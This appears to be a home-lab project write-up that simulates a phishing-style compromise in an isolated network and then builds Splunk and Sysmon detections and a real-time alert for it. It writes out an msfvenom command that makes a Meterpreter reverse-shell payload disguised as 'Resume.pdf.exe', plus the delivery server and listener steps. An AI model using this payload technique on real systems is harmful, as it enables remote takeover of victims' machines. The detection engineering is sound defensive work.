Home Lab Detection Engineering & Attack Simulation

Project Overview

This project documents an isolated home lab built to simulate an endpoint compromise and build a working detection pipeline around it. A Windows 10 victim VM and Kali Linux attacker VM were configured on an internal-only network. A reverse shell payload was generated, delivered, and executed against the victim, with Sysmon capturing endpoint telemetry and Splunk used to detect the activity and trigger a real-time alert.

The goal was to go through the full loop a SOC/detection engineer works in: simulate → log → detect → alert → verify.

---

Lab Architecture & Topology

• Attacker Node: Kali Linux — 192.168.20.11
• Victim Endpoint: Windows 10 — 192.168.20.10
• Network Type: Internal-only network, isolated from the host and internet
• Logging / Detection Stack: Splunk Enterprise + Microsoft Sysmon + Splunk Add-on for Sysmon

Network Topology

flowchart LR
    subgraph net[Isolated internal-only network]
        direction LR
        kali[Kali Linux - attacker<br/>192.168.20.11]
        win[Windows 10 - victim<br/>192.168.20.10<br/>Splunk + Sysmon]
        kali <-->|ports 9999, 4444| win
    end

    classDef attack fill:#F5C4B3,stroke:#993C1D,color:#4A1B0C
    classDef detect fill:#9FE1CB,stroke:#0F6E56,color:#04342C
    class kali attack
    class win detect

Loading

Attack and Detection Flow

---

Technical Implementation

1. Endpoint Logging Setup

Splunk Enterprise was installed directly on the Windows victim VM. Sysmon was installed and configured, with its logging configuration (inputs.conf) edited to capture process creation and related events. The Splunk Add-on for Sysmon was installed to properly parse and field-extract the raw Sysmon XML events (mapping fields like parent_process_name, process_exec, CommandLine) instead of leaving them as unparsed XML.

2. Threat Simulation & Attack Chain

• Payload Generation: Used msfvenom to generate a windows/x64/meterpreter_reverse_tcp payload, named Resume.pdf.exe to simulate a disguised phishing-style file.

  msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.20.11 lport=4444 -f exe -o Resume.pdf.exe
  

  

• Delivery: Hosted the payload on a local Python HTTP server on the Kali attacker VM (python -m http.server 9999) and downloaded it onto the Windows victim VM.

  

• Execution & Handling: Set up a listener using msfconsole (exploit/multi/handler, LHOST 192.168.20.11, LPORT 4444). Upon execution of the payload on the victim, a reverse shell was caught on the Kali attacker machine.

  

• Post-Exploitation: Ran basic reconnaissance commands from the spawned shell (whoami, ipconfig, net user).

  

3. Detection & Verification

The compromise was verified through multiple independent sources, not just the SIEM:

• Splunk: Confirmed the malicious process chain via indexed Sysmon logs.
• netstat: Confirmed the active outbound connections from the victim to the attacker at the OS level (netstat -ano showing ESTABLISHED connections to the attacker's delivery port 9999 and C2 port 4444).
• Task Manager: Confirmed Resume.pdf.exe running as an active process under the victim user account.

4. Splunk Detection Engineering

Process lineage search (correlated via ProcessGuid):

index=endpoint {ProcessGuid} 
| table _time, ParentImage, Image, CommandLine

Real-time alert rule — fires when a process disguised as a PDF spawns a command shell or PowerShell as a child process:

index=endpoint sourcetype=XmlWinEventLog:Sysmon EventCode=1 
ParentCommandLine="*.pdf.exe*" (Image="*cmd.exe" OR Image="*powershell.exe*")

This alert ("Suspicious Process Spawned via Phishing Payload") was configured as a real-time, per-result trigger, high severity, and verified by re-running the attack chain multiple times, confirming it fired correctly each time.

---

Key Takeaways

• Built and validated a complete detection loop end-to-end: attack simulation → telemetry capture → SIEM ingestion → detection logic → alert → verification.
• Learned to correlate Sysmon's process lineage fields (ParentCommandLine, Image, ProcessGuid) to tie a spawned child process back to its originating (malicious) parent process.
• Practiced verifying findings across multiple data sources (SIEM + OS-native tools) rather than relying on a single tool.

Conclusion

This lab setup was built while following a guided home-lab tutorial for the initial environment and attack simulation. The detection alert (SPL query design, real-time alert configuration, and verification testing) was independently designed and implemented as an extension beyond the tutorial.